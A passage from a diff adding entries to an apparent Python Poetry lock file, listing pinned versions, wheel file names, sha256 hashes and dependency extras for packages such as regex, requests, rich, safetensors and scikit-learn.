+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43e1dd9d12df9004246bacb79a0e5886b3b6071b32e41f83b0acbf293f820ee8"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4959e8bcbfda5146477d21c3a8ad81b185cd252f3d0d6e4724a5ef11c012fb06"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af4dd387354dc83a3bff67127a124c21116feb0d2ef536805c454721c5d7993d"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2239d95d8e243658b8dbb36b12bd10c33ad6e6933a54d36ff053713f129aa536"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:890e5a11c97cf0d0c550eb661b937a1e45431ffa79803b942a057c4fb12a2da2"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a8105e9af3b029f243ab11ad47c19b566482c150c754e4c717900a798806b222"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:25be746a8ec7bc7b082783216de8e9473803706723b3f6bef34b3d0ed03d57e2"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:3676f1dd082be28b1266c93f618ee07741b704ab7b68501a173ce7d8d0d0ca18"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:10cb847aeb1728412c666ab2e2000ba6f174f25b2bdc7292e7dd71b16db07568"},
+ {file = "regex-2023.6.3-cp310-cp310-win32.whl", hash = "sha256:dbbbfce33cd98f97f6bffb17801b0576e653f4fdb1d399b2ea89638bc8d08ae1"},
+ {file = "regex-2023.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:c5f8037000eb21e4823aa485149f2299eb589f8d1fe4b448036d230c3f4e68e0"},
+ {file = "regex-2023.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c123f662be8ec5ab4ea72ea300359023a5d1df095b7ead76fedcd8babbedf969"},
+ {file = "regex-2023.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9edcbad1f8a407e450fbac88d89e04e0b99a08473f666a3f3de0fd292badb6aa"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcba6dae7de533c876255317c11f3abe4907ba7d9aa15d13e3d9710d4315ec0e"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:29cdd471ebf9e0f2fb3cac165efedc3c58db841d83a518b082077e612d3ee5df"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:12b74fbbf6cbbf9dbce20eb9b5879469e97aeeaa874145517563cca4029db65c"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c29ca1bd61b16b67be247be87390ef1d1ef702800f91fbd1991f5c4421ebae8"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d77f09bc4b55d4bf7cc5eba785d87001d6757b7c9eec237fe2af57aba1a071d9"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ea353ecb6ab5f7e7d2f4372b1e779796ebd7b37352d290096978fea83c4dba0c"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:10590510780b7541969287512d1b43f19f965c2ece6c9b1c00fc367b29d8dce7"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2fbd6236aae3b7f9d514312cdb58e6494ee1c76a9948adde6eba33eb1c4264f"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:6b2675068c8b56f6bfd5a2bda55b8accbb96c02fd563704732fd1c95e2083461"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74419d2b50ecb98360cfaa2974da8689cb3b45b9deff0dcf489c0d333bcc1477"},
+ {file = "regex-2023.6.3-cp311-cp311-win32.whl", hash = "sha256:fb5ec16523dc573a4b277663a2b5a364e2099902d3944c9419a40ebd56a118f9"},
+ {file = "regex-2023.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:09e4a1a6acc39294a36b7338819b10baceb227f7f7dbbea0506d419b5a1dd8af"},
+ {file = "regex-2023.6.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0654bca0cdf28a5956c83839162692725159f4cda8d63e0911a2c0dc76166525"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:463b6a3ceb5ca952e66550a4532cef94c9a0c80dc156c4cc343041951aec1697"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87b2a5bb5e78ee0ad1de71c664d6eb536dc3947a46a69182a90f4410f5e3f7dd"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6343c6928282c1f6a9db41f5fd551662310e8774c0e5ebccb767002fcf663ca9"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6192d5af2ccd2a38877bfef086d35e6659566a335b1492786ff254c168b1693"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74390d18c75054947e4194019077e243c06fbb62e541d8817a0fa822ea310c14"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:742e19a90d9bb2f4a6cf2862b8b06dea5e09b96c9f2df1779e53432d7275331f"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:8abbc5d54ea0ee80e37fef009e3cec5dafd722ed3c829126253d3e22f3846f1e"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:c2b867c17a7a7ae44c43ebbeb1b5ff406b3e8d5b3e14662683e5e66e6cc868d3"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d831c2f8ff278179705ca59f7e8524069c1a989e716a1874d6d1aab6119d91d1"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:ee2d1a9a253b1729bb2de27d41f696ae893507c7db224436abe83ee25356f5c1"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:61474f0b41fe1a80e8dfa70f70ea1e047387b7cd01c85ec88fa44f5d7561d787"},
+ {file = "regex-2023.6.3-cp36-cp36m-win32.whl", hash = "sha256:0b71e63226e393b534105fcbdd8740410dc6b0854c2bfa39bbda6b0d40e59a54"},
+ {file = "regex-2023.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bbb02fd4462f37060122e5acacec78e49c0fbb303c30dd49c7f493cf21fc5b27"},
+ {file = "regex-2023.6.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b862c2b9d5ae38a68b92e215b93f98d4c5e9454fa36aae4450f61dd33ff48487"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976d7a304b59ede34ca2921305b57356694f9e6879db323fd90a80f865d355a3"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:83320a09188e0e6c39088355d423aa9d056ad57a0b6c6381b300ec1a04ec3d16"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9427a399501818a7564f8c90eced1e9e20709ece36be701f394ada99890ea4b3"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7178bbc1b2ec40eaca599d13c092079bf529679bf0371c602edaa555e10b41c3"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:837328d14cde912af625d5f303ec29f7e28cdab588674897baafaf505341f2fc"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2d44dc13229905ae96dd2ae2dd7cebf824ee92bc52e8cf03dcead37d926da019"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d54af539295392611e7efbe94e827311eb8b29668e2b3f4cadcfe6f46df9c777"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7117d10690c38a622e54c432dfbbd3cbd92f09401d622902c32f6d377e2300ee"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bb60b503ec8a6e4e3e03a681072fa3a5adcbfa5479fa2d898ae2b4a8e24c4591"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:65ba8603753cec91c71de423a943ba506363b0e5c3fdb913ef8f9caa14b2c7e0"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:271f0bdba3c70b58e6f500b205d10a36fb4b58bd06ac61381b68de66442efddb"},
+ {file = "regex-2023.6.3-cp37-cp37m-win32.whl", hash = "sha256:9beb322958aaca059f34975b0df135181f2e5d7a13b84d3e0e45434749cb20f7"},
+ {file = "regex-2023.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fea75c3710d4f31389eed3c02f62d0b66a9da282521075061ce875eb5300cf23"},
+ {file = "regex-2023.6.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8f56fcb7ff7bf7404becdfc60b1e81a6d0561807051fd2f1860b0d0348156a07"},
+ {file = "regex-2023.6.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d2da3abc88711bce7557412310dfa50327d5769a31d1c894b58eb256459dc289"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99b50300df5add73d307cf66abea093304a07eb017bce94f01e795090dea87c"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5708089ed5b40a7b2dc561e0c8baa9535b77771b64a8330b684823cfd5116036"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:687ea9d78a4b1cf82f8479cab23678aff723108df3edeac098e5b2498879f4a7"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3850beab9f527f06ccc94b446c864059c57651b3f911fddb8d9d3ec1d1b25d"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8915cc96abeb8983cea1df3c939e3c6e1ac778340c17732eb63bb96247b91d2"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:841d6e0e5663d4c7b4c8099c9997be748677d46cbf43f9f471150e560791f7ff"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9edce5281f965cf135e19840f4d93d55b3835122aa76ccacfd389e880ba4cf82"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b956231ebdc45f5b7a2e1f90f66a12be9610ce775fe1b1d50414aac1e9206c06"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:36efeba71c6539d23c4643be88295ce8c82c88bbd7c65e8a24081d2ca123da3f"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:cf67ca618b4fd34aee78740bea954d7c69fdda419eb208c2c0c7060bb822d747"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b4598b1897837067a57b08147a68ac026c1e73b31ef6e36deeeb1fa60b2933c9"},
+ {file = "regex-2023.6.3-cp38-cp38-win32.whl", hash = "sha256:f415f802fbcafed5dcc694c13b1292f07fe0befdb94aa8a52905bd115ff41e88"},
+ {file = "regex-2023.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:d4f03bb71d482f979bda92e1427f3ec9b220e62a7dd337af0aa6b47bf4498f72"},
+ {file = "regex-2023.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ccf91346b7bd20c790310c4147eee6ed495a54ddb6737162a36ce9dbef3e4751"},
+ {file = "regex-2023.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b28f5024a3a041009eb4c333863d7894d191215b39576535c6734cd88b0fcb68"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e0bb18053dfcfed432cc3ac632b5e5e5c5b7e55fb3f8090e867bfd9b054dbcbf"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a5bfb3004f2144a084a16ce19ca56b8ac46e6fd0651f54269fc9e230edb5e4a"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c6b48d0fa50d8f4df3daf451be7f9689c2bde1a52b1225c5926e3f54b6a9ed1"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:051da80e6eeb6e239e394ae60704d2b566aa6a7aed6f2890a7967307267a5dc6"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4c3b7fa4cdaa69268748665a1a6ff70c014d39bb69c50fda64b396c9116cf77"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:457b6cce21bee41ac292d6753d5e94dcbc5c9e3e3a834da285b0bde7aa4a11e9"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:aad51907d74fc183033ad796dd4c2e080d1adcc4fd3c0fd4fd499f30c03011cd"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0385e73da22363778ef2324950e08b689abdf0b108a7d8decb403ad7f5191938"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c6a57b742133830eec44d9b2290daf5cbe0a2f1d6acee1b3c7b1c7b2f3606df7"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:3e5219bf9e75993d73ab3d25985c857c77e614525fac9ae02b1bebd92f7cecac"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e5087a3c59eef624a4591ef9eaa6e9a8d8a94c779dade95d27c0bc24650261cd"},
+ {file = "regex-2023.6.3-cp39-cp39-win32.whl", hash = "sha256:20326216cc2afe69b6e98528160b225d72f85ab080cbdf0b11528cbbaba2248f"},
+ {file = "regex-2023.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:bdff5eab10e59cf26bc479f565e25ed71a7d041d1ded04ccf9aee1d9f208487a"},
+ {file = "regex-2023.6.3.tar.gz", hash = "sha256:72d1a25bf36d2050ceb35b517afe13864865268dfb45910e2e17a84be6cbfeb0"},
+]
+
+[[package]]
+name = "requests"
+version = "2.31.0"
+description = "Python HTTP for Humans."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"},
+ {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<3"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rich"
+version = "13.4.2"
+description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"},
+ {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"},
+]
+
+[package.dependencies]
+markdown-it-py = ">=2.2.0"
+pygments = ">=2.13.0,<3.0.0"
+
+[package.extras]
+jupyter = ["ipywidgets (>=7.5.1,<9)"]
+
+[[package]]
+name = "s3transfer"
+version = "0.6.1"
+description = "An Amazon S3 Transfer Manager"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"},
+ {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"},
+]
+
+[package.dependencies]
+botocore = ">=1.12.36,<2.0a.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"]
+
+[[package]]
+name = "safetensors"
+version = "0.3.1"
+description = "Fast and Safe Tensor serialization"
+optional = false
+python-versions = "*"
+files = [
+ {file = "safetensors-0.3.1-cp310-cp310-macosx_10_11_x86_64.whl", hash = "sha256:2ae9b7dd268b4bae6624729dac86deb82104820e9786429b0583e5168db2f770"},
+ {file = "safetensors-0.3.1-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:08c85c1934682f1e2cd904d38433b53cd2a98245a7cc31f5689f9322a2320bbf"},
+ {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba625c7af9e1c5d0d91cb83d2fba97d29ea69d4db2015d9714d24c7f6d488e15"},
+ {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b57d5890c619ec10d9f1b6426b8690d0c9c2868a90dc52f13fae6f6407ac141f"},
+ {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c9f562ea696d50b95cadbeb1716dc476714a87792ffe374280c0835312cbfe2"},
+ {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c115951b3a865ece8d98ee43882f2fd0a999c0200d6e6fec24134715ebe3b57"},
+ {file = "safetensors-0.3.1-cp310-cp310-win32.whl", hash = "sha256:118f8f7503ea312fc7af27e934088a1b589fb1eff5a7dea2cd1de6c71ee33391"},
+ {file = "safetensors-0.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:54846eaae25fded28a7bebbb66be563cad221b4c80daee39e2f55df5e5e0266f"},
+ {file = "safetensors-0.3.1-cp311-cp311-macosx_10_11_universal2.whl", hash = "sha256:5af82e10946c4822506db0f29269f43147e889054704dde994d4e22f0c37377b"},
+ {file = "safetensors-0.3.1-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:626c86dd1d930963c8ea7f953a3787ae85322551e3a5203ac731d6e6f3e18f44"},
+ {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12e30677e6af1f4cc4f2832546e91dbb3b0aa7d575bfa473d2899d524e1ace08"},
+ {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d534b80bc8d39945bb902f34b0454773971fe9e5e1f2142af451759d7e52b356"},
+ {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ddd0ddd502cf219666e7d30f23f196cb87e829439b52b39f3e7da7918c3416df"},
+ {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:997a2cc14023713f423e6d16536d55cb16a3d72850f142e05f82f0d4c76d383b"},
+ {file = "safetensors-0.3.1-cp311-cp311-win32.whl", hash = "sha256:6ae9ca63d9e22f71ec40550207bd284a60a6b4916ae6ca12c85a8d86bf49e0c3"},
+ {file = "safetensors-0.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:62aa7421ca455418423e35029524489480adda53e3f702453580180ecfebe476"},
+ {file = "safetensors-0.3.1-cp37-cp37m-macosx_10_11_x86_64.whl", hash = "sha256:6d54b3ed367b6898baab75dfd057c24f36ec64d3938ffff2af981d56bfba2f42"},
+ {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:262423aeda91117010f8c607889066028f680fbb667f50cfe6eae96f22f9d150"},
+ {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:10efe2513a8327fd628cea13167089588acc23093ba132aecfc536eb9a4560fe"},
+ {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:689b3d6a7ebce70ee9438267ee55ea89b575c19923876645e927d08757b552fe"},
+ {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14cd9a87bc73ce06903e9f8ee8b05b056af6f3c9f37a6bd74997a16ed36ff5f4"},
+ {file = "safetensors-0.3.1-cp37-cp37m-win32.whl", hash = "sha256:a77cb39624480d5f143c1cc272184f65a296f573d61629eff5d495d2e0541d3e"},
+ {file = "safetensors-0.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:9eff3190bfbbb52eef729911345c643f875ca4dbb374aa6c559675cfd0ab73db"},
+ {file = "safetensors-0.3.1-cp38-cp38-macosx_10_11_x86_64.whl", hash = "sha256:05cbfef76e4daa14796db1bbb52072d4b72a44050c368b2b1f6fd3e610669a89"},
+ {file = "safetensors-0.3.1-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:c49061461f4a81e5ec3415070a3f135530834c89cbd6a7db7cd49e3cb9d9864b"},
+ {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22cf7e73ca42974f098ce0cf4dd8918983700b6b07a4c6827d50c8daefca776e"},
+ {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:04f909442d6223ff0016cd2e1b2a95ef8039b92a558014627363a2e267213f62"},
+ {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c573c5a0d5d45791ae8c179e26d74aff86e719056591aa7edb3ca7be55bc961"},
+ {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6994043b12e717cf2a6ba69077ac41f0d3675b2819734f07f61819e854c622c7"},
+ {file = "safetensors-0.3.1-cp38-cp38-win32.whl", hash = "sha256:158ede81694180a0dbba59422bc304a78c054b305df993c0c6e39c6330fa9348"},
+ {file = "safetensors-0.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:afdc725beff7121ea8d39a7339f5a6abcb01daa189ea56290b67fe262d56e20f"},
+ {file = "safetensors-0.3.1-cp39-cp39-macosx_10_11_x86_64.whl", hash = "sha256:cba910fcc9e5e64d32d62b837388721165e9c7e45d23bc3a38ad57694b77f40d"},
+ {file = "safetensors-0.3.1-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:a4f7dbfe7285573cdaddd85ef6fa84ebbed995d3703ab72d71257944e384612f"},
+ {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54aed0802f9eaa83ca7b1cbb986bfb90b8e2c67b6a4bcfe245627e17dad565d4"},
+ {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:34b75a766f3cfc99fd4c33e329b76deae63f5f388e455d863a5d6e99472fca8e"},
+ {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1a0f31904f35dc14919a145b2d7a2d8842a43a18a629affe678233c4ea90b4af"},
+ {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcf527ecc5f58907fd9031510378105487f318cc91ecdc5aee3c7cc8f46030a8"},
+ {file = "safetensors-0.3.1-cp39-cp39-win32.whl", hash = "sha256:e2f083112cf97aa9611e2a05cc170a2795eccec5f6ff837f4565f950670a9d83"},
+ {file = "safetensors-0.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:5f4f614b8e8161cd8a9ca19c765d176a82b122fa3d3387b77862145bfe9b4e93"},
+ {file = "safetensors-0.3.1.tar.gz", hash = "sha256:571da56ff8d0bec8ae54923b621cda98d36dcef10feb36fd492c4d0c2cd0e869"},
+]
+
+[package.extras]
+all = ["black (==22.3)", "click (==8.0.4)", "flake8 (>=3.8.3)", "flax (>=0.6.3)", "h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "isort (>=5.5.4)", "jax (>=0.3.25)", "jaxlib (>=0.3.25)", "numpy (>=1.21.6)", "paddlepaddle (>=2.4.1)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "setuptools-rust (>=1.5.2)", "tensorflow (>=2.11.0)", "torch (>=1.10)"]
+dev = ["black (==22.3)", "click (==8.0.4)", "flake8 (>=3.8.3)", "flax (>=0.6.3)", "h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "isort (>=5.5.4)", "jax (>=0.3.25)", "jaxlib (>=0.3.25)", "numpy (>=1.21.6)", "paddlepaddle (>=2.4.1)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "setuptools-rust (>=1.5.2)", "tensorflow (>=2.11.0)", "torch (>=1.10)"]
+jax = ["flax (>=0.6.3)", "jax (>=0.3.25)", "jaxlib (>=0.3.25)"]
+numpy = ["numpy (>=1.21.6)"]
+paddlepaddle = ["paddlepaddle (>=2.4.1)"]
+quality = ["black (==22.3)", "click (==8.0.4)", "flake8 (>=3.8.3)", "isort (>=5.5.4)"]
+tensorflow = ["tensorflow (>=2.11.0)"]
+testing = ["h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "numpy (>=1.21.6)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "setuptools-rust (>=1.5.2)"]
+torch = ["torch (>=1.10)"]
+
+[[package]]
+name = "scikit-learn"
+version = "1.3.0"
+description = "A set of python modules for machine learning and data mining"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "scikit-learn-1.3.0.tar.gz", hash = "sha256:8be549886f5eda46436b6e555b0e4873b4f10aa21c07df45c4bc1735afbccd7a"},
+ {file = "scikit_learn-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:981287869e576d42c682cf7ca96af0c6ac544ed9316328fd0d9292795c742cf5"},
+ {file = "scikit_learn-1.3.0-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:436aaaae2c916ad16631142488e4c82f4296af2404f480e031d866863425d2a2"},
+ {file = "scikit_learn-1.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c7e28d8fa47a0b30ae1bd7a079519dd852764e31708a7804da6cb6f8b36e3630"},
+ {file = "scikit_learn-1.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae80c08834a473d08a204d966982a62e11c976228d306a2648c575e3ead12111"},
+ {file = "scikit_learn-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:552fd1b6ee22900cf1780d7386a554bb96949e9a359999177cf30211e6b20df6"},
+ {file = "scikit_learn-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:79970a6d759eb00a62266a31e2637d07d2d28446fca8079cf9afa7c07b0427f8"},
+ {file = "scikit_learn-1.3.0-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:850a00b559e636b23901aabbe79b73dc604b4e4248ba9e2d6e72f95063765603"},
